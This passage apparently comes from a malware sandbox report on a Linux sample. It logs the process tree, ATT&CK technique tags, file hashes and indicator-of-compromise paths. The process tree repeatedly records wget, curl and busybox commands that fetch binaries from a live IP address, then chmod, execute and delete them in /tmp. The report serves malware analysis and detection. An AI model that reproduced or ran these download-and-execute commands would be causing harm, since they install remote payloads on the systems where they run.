  ./ngVQL2PHjmBCwTSDrCyevX5ItWkaRZXfRN
  2⤵
  - Executes dropped EXE
  PID:949
- /bin/rm
  rm ngVQL2PHjmBCwTSDrCyevX5ItWkaRZXfRN
  2⤵
  PID:950
- /usr/bin/wget
  wget http://87.120.84.230/bins/vrBW0iAGpNMUmWmrVYD0zfasL9z24YdUSH
  2⤵
  PID:951
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/vrBW0iAGpNMUmWmrVYD0zfasL9z24YdUSH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:952
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/vrBW0iAGpNMUmWmrVYD0zfasL9z24YdUSH
  2⤵
  PID:953
- /bin/chmod
  chmod 777 vrBW0iAGpNMUmWmrVYD0zfasL9z24YdUSH
  2⤵
  - File and Directory Permissions Modification
  PID:954
- /tmp/vrBW0iAGpNMUmWmrVYD0zfasL9z24YdUSH
  ./vrBW0iAGpNMUmWmrVYD0zfasL9z24YdUSH
  2⤵
  - Executes dropped EXE
  PID:955
- /bin/rm
  rm vrBW0iAGpNMUmWmrVYD0zfasL9z24YdUSH
  2⤵
  PID:956
- /usr/bin/wget
  wget http://87.120.84.230/bins/FeupF9D3QmgYDQRt5ip0Dup0FJF9gg3Pdz
  2⤵
  - System Network Configuration Discovery
  PID:957
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/FeupF9D3QmgYDQRt5ip0Dup0FJF9gg3Pdz
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:958
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/FeupF9D3QmgYDQRt5ip0Dup0FJF9gg3Pdz
  2⤵
  - System Network Configuration Discovery
  PID:959
- /bin/chmod
  chmod 777 FeupF9D3QmgYDQRt5ip0Dup0FJF9gg3Pdz
  2⤵
  - File and Directory Permissions Modification
  PID:960
- /tmp/FeupF9D3QmgYDQRt5ip0Dup0FJF9gg3Pdz
  ./FeupF9D3QmgYDQRt5ip0Dup0FJF9gg3Pdz
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:961
- /bin/rm
  rm FeupF9D3QmgYDQRt5ip0Dup0FJF9gg3Pdz
  2⤵
  - System Network Configuration Discovery
  PID:962
- /usr/bin/wget
  wget http://87.120.84.230/bins/GxSiwbJWQ3wrWf6tKid4HPgYZbXdPvpFh2
  2⤵
  PID:963
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/GxSiwbJWQ3wrWf6tKid4HPgYZbXdPvpFh2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:964
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/GxSiwbJWQ3wrWf6tKid4HPgYZbXdPvpFh2
  2⤵
  PID:965
- /bin/chmod
  chmod 777 GxSiwbJWQ3wrWf6tKid4HPgYZbXdPvpFh2
  2⤵
  - File and Directory Permissions Modification
  PID:966
- /tmp/GxSiwbJWQ3wrWf6tKid4HPgYZbXdPvpFh2
  ./GxSiwbJWQ3wrWf6tKid4HPgYZbXdPvpFh2
  2⤵
  - Executes dropped EXE
  PID:967
- /bin/rm
  rm GxSiwbJWQ3wrWf6tKid4HPgYZbXdPvpFh2
  2⤵
  PID:968
- /usr/bin/wget
  wget http://87.120.84.230/bins/3qDoG3ikutDJZ7RYSdNNGOjBtye6W9Ue9E
  2⤵
  PID:969
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/3qDoG3ikutDJZ7RYSdNNGOjBtye6W9Ue9E
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:970
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/3qDoG3ikutDJZ7RYSdNNGOjBtye6W9Ue9E
  2⤵
  PID:971
- /bin/chmod
  chmod 777 3qDoG3ikutDJZ7RYSdNNGOjBtye6W9Ue9E
  2⤵
  - File and Directory Permissions Modification
  PID:972
- /tmp/3qDoG3ikutDJZ7RYSdNNGOjBtye6W9Ue9E
  ./3qDoG3ikutDJZ7RYSdNNGOjBtye6W9Ue9E
  2⤵
  - Executes dropped EXE
  PID:973
- /bin/rm
  rm 3qDoG3ikutDJZ7RYSdNNGOjBtye6W9Ue9E
  2⤵
  PID:974

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB

Path /tmp/A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB	733	A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
/tmp/5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH	739	5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH
/tmp/V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU	745	V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU
/tmp/EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq	765	EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq
/tmp/ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT	791	ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT
/tmp/cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P	808	cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P
/tmp/L1uRdVm8zfEjglS0A6RihfEet8FLxYrCW6	814	L1uRdVm8zfEjglS0A6RihfEet8FLxYrCW6
/tmp/XoeZfzTcd7iwrVXNAhsDWFYIfnjAMW1Npf	831	XoeZfzTcd7iwrVXNAhsDWFYIfnjAMW1Npf
/tmp/C6tqzuejQk34206av34MII4zgayyIUj9Ep	859	C6tqzuejQk34206av34MII4zgayyIUj9Ep
/tmp/ngVQL2PHjmBCwTSDrCyevX5ItWkaRZXfRN	865	ngVQL2PHjmBCwTSDrCyevX5ItWkaRZXfRN
/tmp/vrBW0iAGpNMUmWmrVYD0zfasL9z24YdUSH	871	vrBW0iAGpNMUmWmrVYD0zfasL9z24YdUSH
/tmp/FeupF9D3QmgYDQRt5ip0Dup0FJF9gg3Pdz	877	FeupF9D3QmgYDQRt5ip0Dup0FJF9gg3Pdz
/tmp/GxSiwbJWQ3wrWf6tKid4HPgYZbXdPvpFh2	883	GxSiwbJWQ3wrWf6tKid4HPgYZbXdPvpFh2
/tmp/3qDoG3ikutDJZ7RYSdNNGOjBtye6W9Ue9E	889	3qDoG3ikutDJZ7RYSdNNGOjBtye6W9Ue9E
/tmp/ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT	895	ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT
/tmp/A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB	901	A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
/tmp/5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH	907	5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH
/tmp/V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU	913	V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU
/tmp/EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq	919	EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq
/tmp/cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P	925	cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P
/tmp/L1uRdVm8zfEjglS0A6RihfEet8FLxYrCW6	931	L1uRdVm8zfEjglS0A6RihfEet8FLxYrCW6
/tmp/XoeZfzTcd7iwrVXNAhsDWFYIfnjAMW1Npf	937	XoeZfzTcd7iwrVXNAhsDWFYIfnjAMW1Npf
/tmp/C6tqzuejQk34206av34MII4zgayyIUj9Ep	943	C6tqzuejQk34206av34MII4zgayyIUj9Ep
/tmp/ngVQL2PHjmBCwTSDrCyevX5ItWkaRZXfRN	949	ngVQL2PHjmBCwTSDrCyevX5ItWkaRZXfRN
/tmp/vrBW0iAGpNMUmWmrVYD0zfasL9z24YdUSH	955	vrBW0iAGpNMUmWmrVYD0zfasL9z24YdUSH
/tmp/FeupF9D3QmgYDQRt5ip0Dup0FJF9gg3Pdz	961	FeupF9D3QmgYDQRt5ip0Dup0FJF9gg3Pdz
/tmp/GxSiwbJWQ3wrWf6tKid4HPgYZbXdPvpFh2	967	GxSiwbJWQ3wrWf6tKid4HPgYZbXdPvpFh2
/tmp/3qDoG3ikutDJZ7RYSdNNGOjBtye6W9Ue9E	973	3qDoG3ikutDJZ7RYSdNNGOjBtye6W9Ue9E